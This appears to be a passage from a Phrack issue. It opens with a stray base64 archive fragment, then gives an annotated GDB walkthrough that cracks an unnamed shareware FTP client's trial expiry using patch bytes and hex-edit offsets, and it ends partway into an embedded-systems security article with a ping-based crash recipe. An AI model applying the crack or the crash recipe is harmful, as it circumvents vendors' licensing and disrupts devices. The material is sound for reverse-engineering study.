AAAAAAABACAAAAD+UQEAUFJPVFQtUEFDSy9wcm90dHktb2xkL3NvdXJjZS9w
cm90dHkxL21haW4uaW5jUEsBAhQAFAAAAAgAOVl5Mn0ywfQxAQAAGwIAACwA
AAAAAAAAAQAgAAAAOFcBAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS9wZWIuaW5jUEsBAhQAFAAAAAgA1lmJMi0AEIY8AAAASQAAADgA
AAAAAAAAAQAgAAAAs1gBAFBST1RULVBBQ0svcHJvdHR5LW9sZC9zb3VyY2Uv
cHJvdHR5MS9QUk9UVFlfUkVWSVNJT04udHh0UEsBAhQAFAAAAAgA4IXBMjBE
vCcEBAAASwsAADAAAAAAAAAAAQAgAAAARVkBAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS91c2VmdWxsLmluY1BLAQIUABQAAAAIABc/
wjI1Es4M0gEAAOAEAAAoAAAAAAAAAAEAIAAAAJddAQBQUk9UVC1QQUNLL3By
b3R0eS1vbGQvc291cmNlL3Byb3R0eTEuYXNtUEsBAhQACgAAAAAAcJh0MmLN
yXIVAAAAFQAAACgAAAAAAAAAAQAgAAAAr18BAFBST1RULVBBQ0svcHJvdHR5
LW9sZC9zb3VyY2UvcHJvdHR5MS5kZWZQSwECFAAKAAAAAAAnWMEyAAAAAAAA
AAAAAAAAGgAAAAAAAAAAAABAAAAAKYAEAUFJPVFQtUEFDSy9wcm90dHlfZXhh
bXBsZS9QSwECFAAUAAAACACVYYwyFa7ZtaICAAAMBQAAJQAAAAAAAAAABACAA
AABCYAEAUFJPVFQtUEFDSy9wcm90dHlfZXhhbXBsZS9zYW1wbGVfYm8uY1BL
BQYAAAAANQA1ADMSAAAnYwEAAAA=
====

<-->

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x10 of 0x14

```
|=-----=[ Reverse engineering - PowerPC Cracking on OSX with GDB ]=-------=|
|=------------------------------------------------------------------------=|
|=-------------------------=[ curious ]=----------------------------------=|
|=------------------------------------------------------------------------=|
```

--[Contents

--[1.0 - Introduction

This article is a guide to taking apart OSX applications and reprogramming their inner structures to behave differently to their original designs. This will be explored while uncrippling a shareware program. While the topic will be tackled step by step, I encourage you to go out and try these things for yourself, on your own programs, instead of just slavishly repeating what you read here.

This technique has other important applications, including writing patches for closed source software where the company has gone out of business or is not interested, malware analysis and fixing incorrectly compiled programs.

It is assumed you have a little rudimentary knowledge in this area already - perhaps you have some assembly programming or you have some cracking experience on Windows or Linux. Hopefully you'll at least know a little bit about assembly language - what it is, and how it basically works (what a register is, what a relative jump is, etc.) If you've never worked with PowerPC assembly on OSX before, you might want to have a look at appendix A before we set off. If you have some basic familiarity with GDB, it will also be very useful.

This tutorial uses the following tools and resources - the XCode Cocoa Documentation, which is included with the OSX developer tools, a PowerPC assembly reference (I recommend IBM's "PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors" - you can get it off their website), gcc, an editor and a hexeditor (I use bvi). You'll also be using either XCode/Interface Builder or Steve Nygard's "class-dump" and Apple's "otool".

I'm no expert on this subject - my knowledge is cobbled together from time spent working in this area with Windows, then Linux and now OSX. I'm sure there's lots in this article that could be done more correctly / efficiently / easily, and if you know, please write to me and discuss it! Already this article is seriously indebted to the excellent suggestions and hard work of Christian Klein of Teenage Mutant Hero Coders.

I had a very hard time deciding whether or not to publish this article anonymously. Recently, my country has enacted (or threatened to enact) DMCA style laws that represent a substantial threat to the kinds of exploration and research that this document represents - exploration and research which have important academic and corporate applications. I believe that I have not broken any laws in authoring this document, but the justice system can paint with a broad brush sometimes.

Thanks for reading,
<curious@progsoc.org>

--[2.0 - The Target

The target is a shareware client for SFTP and FTP, which I was first exposed to after the automatic ftp execution controversy a few years ago (see - <http://www.tidbits.com/tb-issues/TidBITS-731.html#lnk4>). Out of respect for the authors, I'm not going to name it explicitly, and the version analysed is now deprecated.

--[3.0 - Attack Transcript

The first step is to prompt the program to display the undesirable behavior we wish to alter, so we know what to look out for and change. From reading the documentation, I know that I have fifteen days of usage before the program will start to assert it's shareware status - after that time period, I will be unable to use the Favourites menu, and sessions will be time limited.

As I didn't want to wait around fifteen days, I deleted the program preferences in ~/Library/Application Support/, and set the clock back one year. I ran the software, quit, and then returned the clock to normal. Now, when I attempt to run the software, I receive the expired message, and the sanctions mentioned above take effect.

Now we need to decide where we are to make the initial incision In the program. Starting at main() or even NSApplicationMain() (which is where Cocoa programs 'begin') is not always feasible in the large, object based and event driven programs that have become the norm in Cocoa development, so here's what I've come up with after a few false starts.

One approach is to attack it from the Interface. If you have a look inside the application bundle (the .app file - really a folder), you'll most likely find a collection of nib files that specify the user interface. I found a nib file for the registration dialog, and opened it in Interface Builder.

Inspecting the actions referred to there we find a promising sounding IBAction "validateRegistration:" attached to a class "RegistrationController". This sounds like a good place to start, but if the developers are anything like me, they won't have really dragged their classes into IB, and the real class names may be very different.

If you didn't have any luck finding a useful nib file, don't despair. If you have class-dump handy, run it on the actual mach-o executable (usually in <whatever>.app/Contents/MacOS/), and it will attempt to form class declarations for the program. Have a look around there for a likely candidate function.

Now that we have some ideas of where to start, let's fire up GDB and look a bit closer. Start GDB on the mach-o executable. Once loaded, let's search for the function name we discovered. If you still don't have a function name to work with (due to no nib files and no class-dump), you can just run "info fun" to get a list of functions GDB can index in the program.

```
| (gdb) info fun validateRegistration
| All functions matching regular expression "validateRegistration":
| Non-debugging symbols:
| 0x00051830  -[StateController validateRegistration:]
```

"StateController" would appear to be the internal name for that registration controlling object referred to earlier. Let's see what methods are registered against it:

```
| (gdb) info fun StateController
| All functions matching regular expression "StateController":
| Non-debugging symbols:
| 0x0005090c  -[StateController init]
| 0x00050970  +[StateController sharedInstance]
| 0x000509f8  -[StateController appDidLaunch]
| 0x00050e48  -[StateController cancelRegistration:]
| 0x00050e8c  -[StateController findLostNumber:]
| 0x00050efc  -[StateController state]
```

```
 | 0x00050fd0  -[StateController validState]
 | 0x00051128  -[StateController saveState:]
 | 0x000512e0  -[StateController appendState:]
 | 0x00051600  -[StateController initState]
 | 0x0005165c  -[StateController stateDidChange:]
 | 0x00051830  -[StateController validateRegistration:]
 | 0x00051bd8  -[StateController windowDidLoad]
```

"validState", having no arguments (no trailing ':') sounds very promising. Placing a breakpoint on it and running the program shows it's called twice on startup, and twice when attempting to possibly change registration state - this seems logical, as there are two possible sanctions for expired copies as discussed earlier. Let's dig a bit deeper with this function.

Here's a commented partial disassembly - I've tried to bring it down to something readable on 75 columns, but your mileage may vary. I'm mainly providing this for those unfamiliar with PPC assembly, and it's summarized at the end.

```
(gdb) disass 0x50fd0
Dump of assembler code for function -[StateController validState]:
0x00050fd0 <-[StateController validState]+0>:   mflr    r0

        # Copy the link register to r0.

0x00050fd4 <-[StateController validState]+4>:   stmw    r27,-20(r1)

        # Store r27, r28, r29, r30 and r31 in five consecutive words
        # starting at r1 - 20 ( 0xbfffe2bc ).

0x00050fd8 <-[StateController validState]+8>:   addis   r4,r12,4

        # r4 = r12 + 4 || 16(0)
        #
        # || = "concatenated", in this case with sixteen zeroes.
        # this has the effect of shifting the "four" ( 100B )
        # into the high sixteen of the register.

0x00050fdc <-[StateController validState]+12>:  stw     r0,8(r1)

        # Write r0 to r1 + 8.

0x00050fe0 <-[StateController validState]+16>:  mr      r29,r3

        # Copy r3 to r29.  At the moment, this would contain
        # the address of the object we're being invoked on
        # ( a StateController instance ).

0x00050fe4 <-[StateController validState]+20>:  addis   r3,r12,4

        # As 0x50fd8, but into r3.

0x00050fe8 <-[StateController validState]+24>:  stwu    r1,-96(r1)

        # Store Word With Update:
        #  "address" = r1 - 96
        #  store r1 to "address"
        #  r1 = "address"

0x00050fec <-[StateController validState]+28>:  mr      r31,r12

        # Copy r12 to r31.

0x00050ff0 <-[StateController validState]+32>:  lwz     r4,1620(r4)

        # Load r4 with contents of memory address r4 + 1620 ( 0x91624 ).
        # r4 now contains 0x908980CC = c string, "sharedInstance".

0x00050ff4 <-[StateController validState]+36>:  lwz     r3,5944(r3)
```

```
        # Load r3 with contents of memory address r3 + 5944 ( 0x92708 ).
        # r3 now contains 0x92b20 = objc object, describes itself as
        # "Preferences".
        #
        # This seems to be an instance of the undocumented preferences
        # api used by mail and safari.  Tut tut.

0x00050ff8 <-[StateController validState]+40>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 = [ Preferences sharedInstance ];
        # (gdb) po $r3
        # <Preferences: 0x10d6c0>

0x00050ffc <-[StateController validState]+44>:  lwz     r0,40(r29)

        # Load r29 + 40 into r0.  As you may recall, r29 was set
        # at 0x50fe0 to be the StateController instance.  Hence
        # this offset refers to some kind of instance variable.
        #
        # In this case, it’s value is nil.  Guess it hasn’t been
        # assigned yet.  My theory is that this function will be
        # invoked several times on the same object and this, the
        # first run through, will do initialization.

0x00051000 <-[StateController validState]+48>:  mr      r27,r3

        # Copy the shared instance ( herein reffered to as prefObject )
        # returned in 0x50ff8 to r27.

0x00051004 <-[StateController validState]+52>:  cmpwi   cr7,r0,0

        # Compare r0 ( the first instance variable ( herein SC:1 ) )
        # with nil, store the result.
        #
        # (gdb) print /t $cr
        # $19 = 10010000000000100001001000010
        #
        # cr7 occupies offset 21-24, 001B ( "equal" ).
        # The CR’s can contain 100B ( "higher" ), 010B ( "lower" )
        # or 001B ( "equal" ).

0x00051008 <-[StateController validState]+56>:
        bne+    cr7,0x51030 <-[StateController validState]+96>

        # Jump to +96 if the equal bit of cr7 is not set.
        # It is, so we just continue on.

0x0005100c <-[StateController validState]+60>:  addis   r4,r31,4

        # As 0x50fd8, but into r4.  Note that r31 is the new address
        # of the r12 address used in both of those instances.  I would
        # say r31 contains the start of the table listing the
        # message names available in this program.

0x00051010 <-[StateController validState]+64>:  lwz     r4,5168(r4)

        # Load r4 + 5168 into r4.  This turns out to be a c string,
        # "firstLaunch".

0x00051014 <-[StateController validState]+68>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 = [ prefObject firstLaunch ];
        # This turns out to be an NSDate object, in this case
        # 2003-09-19 23:30:10 +1000.  We’ll refer to this as
        # firstLaunchDate.

0x00051018 <-[StateController validState]+72>:  cmpwi   cr7,r3,0
```

```
        # Compare firstLaunchDate with nil, results to cr7.

0x0005101c <-[StateController validState]+76>:  stw     r3,40(r29)

        # Store r3 ( firstLaunchDate ) to r29 + 40 - you'll recall
        # this as being the StateController local variable referred
        # to 0x50ffc, SC:1.

0x00051020 <-[StateController validState]+80>:
        beq+    cr7,0x51030 <-[StateController validState]+96>

        # If the equal bit is set, jump to +96 - same location as
        # at 0x51008 for successful loads.  Not what I was expecting.

0x00051024 <-[StateController validState]+84>:  addis   r4,r31,4
0x00051028 <-[StateController validState]+88>:  lwz     r4,2472(r4)

        # As we did manage to load successfully, we fall through to
        # here - load the message table and the string "retain".

0x0005102c <-[StateController validState]+92>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # firstLaunchDate = [ firstLaunchDate retain ];

0x00051030 <-[StateController validState]+96>:  lwz     r3,40(r29)

        # Here's where the divergent paths rejoin - load r3 with
        # the SC:1.

0x00051034 <-[StateController validState]+100>: cmpwi   cr7,r3,0
0x00051038 <-[StateController validState]+104>:
        beq+    cr7,0x51070 <-[StateController validState]+160>

        # Check to see if it's nil, and if so, jump out to +160.
        # This would catch the case where we jumped from 0x51020 -
        # would have seemed to make more sense to jump directly.

0x0005103c <-[StateController validState]+108>: addis   r4,r31,4
0x00051040 <-[StateController validState]+112>: lwz     r4,4976(r4)

        # Load the message table and the string "timeIntervalSinceNow".

0x00051044 <-[StateController validState]+116>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 = [ firstLaunchDate timeIntervalSinceNow ];
        #
        # This message returns as an NSTimeInterval, which is a double.
        # As a result, the function returns to f1 instead of the usual
        # r3.  The result in my case is:
        # (gdb) print $f1
        # $21 = -31790371.620961875
        # (gdb) print $f1/60/60/24
        # $22 = -367.944115983355
        #
        # This seems as expected from what we did at the beginning.

0x00051048 <-[StateController validState]+120>: addis   r2,r31,3

        # Not sure what's at r31 + 3 || 0x0000.  It's not the message
        # symbol table, and r2 is usually reserved for RTOC.

0x0005104c <-[StateController validState]+124>: lfd     f0,26880(r2)

        # Load double at r2 + 26880 into f0.  Perhaps r2 is a constants
        # table.  It ends up being a big fat zero.

0x00051050 <-[StateController validState]+128>: fcmpu   cr7,f1,f0
```

```
0x00051054 <-[StateController validState]+132>:
        ble+    cr7,0x51070 <-[StateController validState]+160>

        # Compare the time between first invocation and now with zero,
        # if it’s less ( and it should be, unless the first invocation
        # was in the future! ) we jump to +160.

0x00051058 <-[StateController validState]+136>: addis   r4,r31,4
0x0005105c <-[StateController validState]+140>: lwz     r3,40(r29)
0x00051060 <-[StateController validState]+144>: lwz     r4,1836(r4)
0x00051064 <-[StateController validState]+148>:
        bl      0x739d0 <dyld_stub_objc_msgSend>
0x00051068 <-[StateController validState]+152>: li      r0,0
0x0005106c <-[StateController validState]+156>: stw     r0,40(r29)
0x00051070 <-[StateController validState]+160>: lwz     r0,40(r29)

        # Load our ever present SC:1 into r0.

0x00051074 <-[StateController validState]+164>: addis   r2,r31,4
0x00051078 <-[StateController validState]+168>: addis   r28,r31,4

        # Load the message symbols into both r2 and r28.

0x0005107c <-[StateController validState]+172>: lwz     r3,44(r29)

        # Load another instance variable on the StateController - this
        # one is 4 more along, at +44.  We’ll tag it as SC:2.
        #
        # It turns out to be another NSDate, this one is
        # "2004-09-21 21:55:27 +1000", the time I started the current
        # gdb session.

0x00051080 <-[StateController validState]+176>: addis   r30,r31,4

        # Load the message symbols into r30.

0x00051084 <-[StateController validState]+180>: cmpwi   cr7,r0,0
0x00051088 <-[StateController validState]+184>:
        bne-    cr7,0x510cc <-[StateController validState]+252>

        # Compare SC:1 with 0, if it’s not equal, jump to +252.
        # Which we do.

0x0005108c <-[StateController validState]+188>: lwz     r4,5172(r2)
0x00051090 <-[StateController validState]+192>:
        bl      0x739d0 <dyld_stub_objc_msgSend>
0x00051094 <-[StateController validState]+196>: lwz     r4,1504(r30)
0x00051098 <-[StateController validState]+200>: lwz     r3,5924(r28)
0x0005109c <-[StateController validState]+204>:
        bl      0x739d0 <dyld_stub_objc_msgSend>
0x000510a0 <-[StateController validState]+208>: stw     r3,40(r29)
0x000510a4 <-[StateController validState]+212>: addis   r4,r31,4
0x000510a8 <-[StateController validState]+216>: lwz     r4,2472(r4)
0x000510ac <-[StateController validState]+220>:
        bl      0x739d0 <dyld_stub_objc_msgSend>
0x000510b0 <-[StateController validState]+224>: lwz     r5,40(r29)
0x000510b4 <-[StateController validState]+228>: mr      r3,r27
0x000510b8 <-[StateController validState]+232>: addis   r4,r31,4
0x000510bc <-[StateController validState]+236>: lwz     r4,5176(r4)
0x000510c0 <-[StateController validState]+240>:
        bl      0x739d0 <dyld_stub_objc_msgSend>
0x000510c4 <-[StateController validState]+244>: li      r3,1
0x000510c8 <-[StateController validState]+248>:
        b       0x51114 <-[StateController validState]+324>
0x000510cc <-[StateController validState]+252>: lwz     r4,5172(r2)

        # Load r4 with r2 + 5172.  r2 still has the message symbol
        # table from 0x51074.  The string is "timeIntervalSince1970".

0x000510d0 <-[StateController validState]+256>:
```

```
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 still contains SC:2 from 0x5107c, the time this instance was
        # launched.
        #
        # f1 = [ SC:2 timeIntervalSince1970 ];
        # f1 = 1095767727.4292047
        # f1/60/60/24/365 = 34.746566699302541

0x000510d4 <-[StateController validState]+260>: lwz     r4,1504(r30)

        # r30 still has the message symbol table.  r4 gets
        # "dateWithTimeIntervalSince1970:"

0x000510d8 <-[StateController validState]+264>: lwz     r3,5924(r28)

        # Last I saw of r28, it had the message symbol table in it
        # as well, but +5924 seems to contain the NSDate class object.

0x000510dc <-[StateController validState]+268>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 = [ NSDate dateWithTimeIntervalSince1970: $f1 ]
        # Since the first argument is a float, it will draw from f1 -
        # which still has the seconds since 1970 to current invocation
        # from 0x510d0.
        # We end up with an exact copy of SC:2.  We'll call it
        # thisLaunchDate.

0x000510e0 <-[StateController validState]+272>: addis   r4,r31,4

        # Load the message symbol table into r4.

0x000510e4 <-[StateController validState]+276>: mr      r29,r3

        # Copy r3 to r29.

0x000510e8 <-[StateController validState]+280>: mr      r3,r27

        # Copy r27 to r3.  When last sighted at 0x51000, this
        # held the prefs shared object.

0x000510ec <-[StateController validState]+284>: lwz     r4,5168(r4)

        # Load string "firstLaunch" to r4.

0x000510f0 <-[StateController validState]+288>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 = [ prefObject firstLaunch ];
        # As seen at 0x51014, the value returned from here was later
        # stored in SC:1.

0x000510f4 <-[StateController validState]+292>: addis   r4,r31,4

        # Load the message symbol table to r4.

0x000510f8 <-[StateController validState]+296>: mr      r5,r3

        # Move the NSDate just returned from prefObject to
        # r5 ( second argument ).

0x000510fc <-[StateController validState]+300>: mr      r3,r29

        # Copy r29 to r3 - r29 had the reconstituted NSDate
        # 'thisLaunchDate' from 0x510dc.

0x00051100 <-[StateController validState]+304>: lwz     r4,3456(r4)

        # Load "isEqualToDate:" into r4.
```

```
0x00051104 <-[StateController validState]+308>:
        bl      0x739d0 <dyld_stub_objc_msgSend>

        # r3 = [ thisLaunchDate isEqualToDate: firstLaunchDate ];
        # That's going to be a big zero unless it's the first time
        # you're running.

0x00051108 <-[StateController validState]+312>: addic   r2,r3,-1

        # r2 = r3 - 1 with carry flag.
        # r2 will be set to max now.
        # XER = 100B.

0x0005110c <-[StateController validState]+316>: subfe   r0,r2,r3

        # subfe r0, r2, r3 = !( r2 + r3 + XER[ carry bit ] )
        #                  = !( max + 0 + 0 )
        #                  = !( max )
        #                  = 0

0x00051110 <-[StateController validState]+320>: mr      r3,r0

        # Move r0 to r3 - the function result.

0x00051114 <-[StateController validState]+324>: lwz     r0,104(r1)
0x00051118 <-[StateController validState]+328>: addi    r1,r1,96
0x0005111c <-[StateController validState]+332>: lwz     r27,-20(r1)
0x00051120 <-[StateController validState]+336>: mtlr    r0
0x00051124 <-[StateController validState]+340>: blr

        # Various housekeeping and then return.  For the most
        # part, we reload those words we pushed into memory and
        # the link register we stored in the opening moves.

End of assembler dump.
```

Ok, in summary, it seems validState does something different to what it's name might indicate - it checks if it's the first time you've run the program, initializes some data structures, etc. If it returns one, a dialog box asking you to join the company email list is displayed.

So it's not what we thought, but it's not a waste of time - we've uncovered two useful pieces of information - the location of the date of first invocation (StateController + 40) and the location of the date of current invocation (StateController + 44). These should all be set correctly anytime after the first invocation of this function. These two pieces of information are key to determining whether the software has expired or not.

We have a couple of options here. Knowing the offset information of this data, we can attempt to find the code that checks to see if the trial is over, or we can attempt to intercept the initialization process and manipulate the data loading to ensure that the user is always within the trial window. As this would be perfectly sufficient, we'll try that - a discussion of other avenues might make for interesting homework or a future article.

--[4.0 - Solutions and Patching

A possible method will be to overwrite the contents of StateController + 40 with StateController + 44 (setting the date the program was first run to the current date) and then return zero, leaving alone the code that deals with the preferences api. Due to the object oriented methodology of Cocoa development, the chances of some other function going crazy and performing a jump into the other parts of the function are slim to nil, and so we can leave it as is.

A Proposed replacement function:

Obtain a register for us to use. Load the contents of StateController +44 into it, write that register to StateController +40, release the register, zero r3, return. The write is done like this as you cannot write directly to memory from memory in PPC assembler.

```
+-----
| stw          r31,    -20(r1)
| lwz          r31,    44(r3)
| stw          r31,    40(r3)
| lwz          r31,    -20(r1)
| xor          r3,     r3,     r3
| blr
+-----
```

Instead of consulting with the instruction reference to assemble it by hand, I'm going to be cheap and use GCC. Paste the code into a file as follows:

newfunc.s:

```
-----
.text
  .globl _main
_main:
  stw          r31,    -20(r1)
  lwz          r31,    44(r3)
  stw          r31,    40(r3)
  lwz          r31,    -20(r1)
  xor          r3,     r3,     r3
  blr
-----
```

Compile it as follows: `gcc newfunc.s -o temp`, and load it into gdb:

```
| (gdb) x/15i main
| 0x1dec <main>:  stw     r31,-20(r1)
| 0x1df0 <main+4>:        lwz     r31,44(r3)
| 0x1df4 <main+8>:        stw     r31,40(r3)
| 0x1df8 <main+12>:       lwz     r31,-20(r1)
| 0x1dfc <main+16>:       xor     r3,r3,r3
| 0x1e00 <main+20>:       blr
| 0x1e04 <dyld_stub_exit>:        mflr    r0
```

We want to see the machine code for 24 instructions post <main>.

```
| (gdb) x/24xb main
| 0x1dec <main>:
|      0x93    0xe1    0xff    0xec    0x83    0xe3    0x00    0x2c
| 0x1df4 <main+8>:
|      0x93    0xe3    0x00    0x28    0x83    0xe1    0xff    0xec
| 0x1dfc <main+16>:
|      0x7c    0x63    0x1a    0x78    0x4e    0x80    0x00    0x20
```

Now that we have our assembled bytecode, we need to paste it into our executable. GDB is (in theory) capable of patching the file directly, but it's a bit more complicated than it might appear (see Appendix B for details).

The good news is, finding the correct offset for patching the file itself is not difficult. First, note the offset of the code you wish to replace, as it appears in GDB. (In this case, that's 0x50fd0.) Now, do the following:

```
| (gdb) info sym 0x50fd0
| [StateController validState] in section LC_SEGMENT.__TEXT.__text
|     of <executable name>
```

Armed with this knowledge of what segment the code falls in (__TEXT.__text), we can proceed. Run "otool -l" on your binary, and search for something like this (taken from a different executable, unfortunately):

```
 | Section
 |   sectname __text
 |    segname __TEXT
 |       addr 0x0000236c
 |       size 0x000009a8
 |     offset 4972
 |      align 2^2 (4)
 |     reloff 0
 |     nreloc 0
 |      flags 0x80000400
 |  reserved1 0
 |  reserved2 0
```

The offset to your code in the file is equal to the address of the code in memory, minus the "addr" entry, plus the "offset" entry. Keep in mind that "addr" is in hex and offset is not! Now you can just over-write the code as appropriate in your hex editor.

Save and then try and run the program. It worked for me first time!

--[A - GDB, OSX, PPC & Cocoa - Some Observations.

Calling Convention:
When handling calls, registers 0, 1 and 2 store important housekeeping information. They are not to be fucked with unless you carefully restore their values post haste. Arguments to functions commence at r3, and return values are stored at r3 as well. Except for stuff like floats, which you might find coming back in f1, etc.

One of the things that makes OSX applications such a joy to crack is the heavy reliance on neatly defined object oriented interfaces, and the corresponding heavy use of messaging. Often in disassemblies you will come across branches to <dyld_stub_objc_msgSend>. This is a reformulation of the typical calling convention:

```
 | [ anObject aMessage: anArgument andA: notherArgument ];
```

Into something like this:

```
 | objc_msgSend( anObject, "aMessage:andA:", anArgument, notherArgument );
```

Hence, the receiving object will occupy r3, the selector will be a plain string at r4, and subsequent arguments will occupy r5 onwards. As r4 will contain a string, interrogate it with "x/s $r4", as the receiver will be an object, "po $r3", and for the types of subsequent arguments, I recommend you consult the xcode documentation where available. "po" is shorthand for invoking the description methods on the receiving object.

GDB Integration:
Due to the excellent Objective C support in GDB, not only can we breakpoint functions using their [] message nomenclature, but also perform direct invocations of methods as such: if r5 contained a pointer to an NSString object, the following is quite reasonable:

```
 | (gdb) print ( char * ) [ $r5 cString ]
 | $3 = 0x833c8 " \t\r\n"
```

Very useful. Don't forget that it's available if you want to test how certain functions react to certain inputs.

-- [B - Why can't we just patch with GDB?

As some of you probably know, GDB can, in principle, write changes out to core and executable files. This is not really practical in the scenario we're dealing with here, and I'll explain why.

First, Mach-O binaries have memory protection. If you're going to overwrite parts of the __TEXT.__text segment, you're going to have to reset it's permissions. Christian Klein has written a program to do this (see <http://blogs.23.nu/c0re/stories/7873/>.) You can also, once the program is running and has an execution space, do things like:

```
| (gdb) print (int)mprotect( <address>, <length>, 0x1|0x2|0x4 )
```

However, even when this is done, this only lets you write to the process in memory. To actually make changes to the disk copy, you need to either invoke GDB as 'gdb --write', or execute:

```
| (gdb) set write on
| (gdb) exec-file <filename>
```

The problem is, OSX uses demand paging for executables.

What this means is that the entire program isn't loaded into memory straight away - it's lifted off disk as needed. As a result, you're not allowed to execute a file which is open for writing.

The upshot is, if you try and do it, as soon as you run the program in the debugger, it crashes out with "Text file is busy".

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x11 of 0x14

```
|=------------[ Security Review Of Embedded Systems And Its ]------------=|
|=------------[     Applications To Hacking Methodology     ]------------=|
|=-----------------------------------------------------------------------=|
|=----[ Cawan: <chuiyewleong[at]hotmail.com> or <cawan[at]ieee.org> ]----=|
```

--=[Contents

--[1. - Introduction

Embedded systems have been penetrated the daily human life. In residential home, the deployment of "smart" systems have brought out the term of "smart-home". It is dealing with the home security, electronic appliances control and monitoring, audio/video based entertainment, home networking, and etc. In building automation, embedded system provides the ability of network enabled (Lonwork, Bacnet or X10) for extra convenient control and monitoring purposes. For intra-building communication, the physical network media including power-line, RS485, optical fiber, RJ45, IrDA, RF, and etc. In this case, media gateway is playing the roll to provide inter-media interfacing for the system. For personal handheld systems, mobile devices such as handphone/smartphone and PDA/XDA are going to be the necessity in human life. However, the growing of 3G is not as good as what is planning initially. The slow adoption in 3G is because it is lacking of direct compatibility to TCP/IP. As a result, 4G with Wimax technology is more likely to look forward by communication industry regarding to its wireless broadband with OFDM.

Obviously, the development trend of embedded systems application is going to be convergence - by applying TCP/IP as "protocol glue" for inter-media interfacing purpose. Since the deployment of IPv6 will cause an unreasonable overshooting cost, so the widespread of IPv6 products still needs some extra times to be negotiated.
As a result, IPv4 will continue to dominate the world of networking, especially in embedded applications. As what we know, the brand-old IPv4 is being challenged by its native security problems in terms of confidentiality, integrity, and authentication.
Extra value added modules such as SSL and SSH would be the best solution to protect most of the attacks such as Denial of Service, hijacking, spooling, sniffing, and etc. However, the implementation of such value added module in embedded system is optional because it is lacking of available hardware resources. For example, it is not reasonable to implement SSL in SitePlayer[1] for a complicated web-based control and monitoring system by considering the available flash and memory that can be utilized.

By the time of IPv4 is going to conquer the embedded system's world, the native characteristic of IPv4 and the reduced structure of embedded system would be problems in security consideration.
These would probably a hidden timer-bomb that is waiting to be exploited.

As an example, by simply performing port scan with pattern recognition to a range of IP address, any of the running SC12 IPC@CHIP[2] can be identified and exposed. Once the IP address of a running SC12 is confirmed, by applying a sequence of five ping packet with the length of 65500 is sufficient to crash it until reset.

--[2. - Architectures Classification

With the advent of commodity electronics in the 1980s, digital utility began to proliferate beyond the world of technology and industry. By its nature digital signal can be represented exactly and easily, which gives it much more utility. In term of digital system design, programmable logic has a primary advantage over custom gate arrays and standard cells by enabling faster time-to-complete and shorter design cycles. By using software, digital design can be programmed directly into programmable logic and allowing making revisions to the design relatively quickly. The two major types of programmable logic devices are Field Programmable Logic Arrays (FPGAs) and Complex Programmable Logic Devices (CPLDs). FPGAs offer the highest amount of logic density, the most features, and the highest performance. These advanced devices also offer features such as built-in hardwired processors (such as the IBM Power PC), substantial amounts of memory, clock management systems, and support for many of the latest very fast device-to-device signaling technologies. FPGAs are used in a wide variety of applications ranging from data processing and storage, instrumentation, telecommunications, and digital signal processing. Instead, CPLDs offer much smaller amounts of logic (approximately 10,000 gates). But CPLDs offer very predictable timing characteristics and are therefore ideal for critical control applications. Besides, CPLDs also require extremely low amounts of power and are very inexpensive.

Well, it is the time to discuss about Hardware Description Language (HDL). HDL is a software programming language used to model the intended operation of a piece of hardware. There are two aspects to the description of hardware that an HDL facilitates: true abstract behavior modeling and hardware structure modeling. The behavior of hardware may be modeled and represented at various levels of abstraction during the design process. Higher level models describe the operation of hardware abstractly, while lower level models include more detail, such as inferred hardware structure. There are two types of HDL: VHDL and Verilog-HDL. The history of VHDL started from 1980 when the USA Department of Defence (DoD) wanted to make circuit design self documenting, follow a common design methodology and be reusable with new technologies. It became clear there was a need for a standard programming language for describing the function and structure of digital circuits for the design of integrated circuits (ICs). The DoD funded a project under the Very High Speed Integrated Circuit (VHSIC) program to create a standard hardware description language. The result was the creation of the VHSIC hardware description language or VHDL as it is now commonly known. The history of Verilog-HDL started from 1981, when a CAE software company called Gateway Design Automation that was founded by Prabhu Goel. One of the Gateway's first employees was Phil Moorby, who was an original author of GenRad's Hardware Description Language (GHDL) and HILO simulator. On 1983, Gateway released the Verilog Hardware Description Language known as Verilog-HDL or simply Verilog together with a Verilog simulator. Both VHDL and Verilog-HDL are reviewed and adopted by IEEE as IEEE standard 1076 and 1364, respectively.

Modern hardware implementation of embedded systems can be classified into two categories: hardcore processing and softcore processing. Hardcore processing is a method of applying hard processor(s) such as ARM, MIPS, x86, and etc as processing unit with integrated protocol stack. For example, SC12 with x86, IP2022 with Scenix RISC, eZ80, SitePlayer and Rabbit are dropped in the category of hardcore processing.Instead, softcore processing is applying a synthesizable core that can be targeted into different semiconductor fabrics. The semiconductor fabrics should be programmable as what FPGA and CPLD do. Altera[3] and Xilinx[4] are the only FPGA/CPLD manufacturers in the market that supporting softcore processor. Altera provides NIOS processor that can be implemented in SOPC Builder that is targeted to its Cyclone and Stratix FPGAs. Xilinx provides two types of softcore: Picoblaze, that is targeted to its CoolRunner-2 CPLD; and Microblaze, that is targeted to its Spartan and Virtex FPGAs. For the case of FPGAs with embedded hardcore, for example ARM-core in Stratix, and MIPS-core in Virtex are classified as embedded hardcore processing. On the other hand, FPGAs with embedded softcore such as NIOS-core in Cyclone or Stratix, and Microblaze-core in Spartan or Virtex are classified as softcore processing. Besides, the embedded softcore can be associated with others synthesizable peripherals such as DMA controller for advanced processing purpose.

In general, the classical point of view regarding to the hardcore processing might assuming it is always running faster than softcore processing. However, it is not the fact. Processor performance is often limited by how fast the instruction and data can be pipelined from external memory into execution unit. As a result, hardcore processing is more suitable for general application purpose but softcore processing is more liable to be used in customized application purpose with parallel processing and DSP. It is targeted to flexible implementation in adaptive platform.

--[3. - Hacking with Embedded System

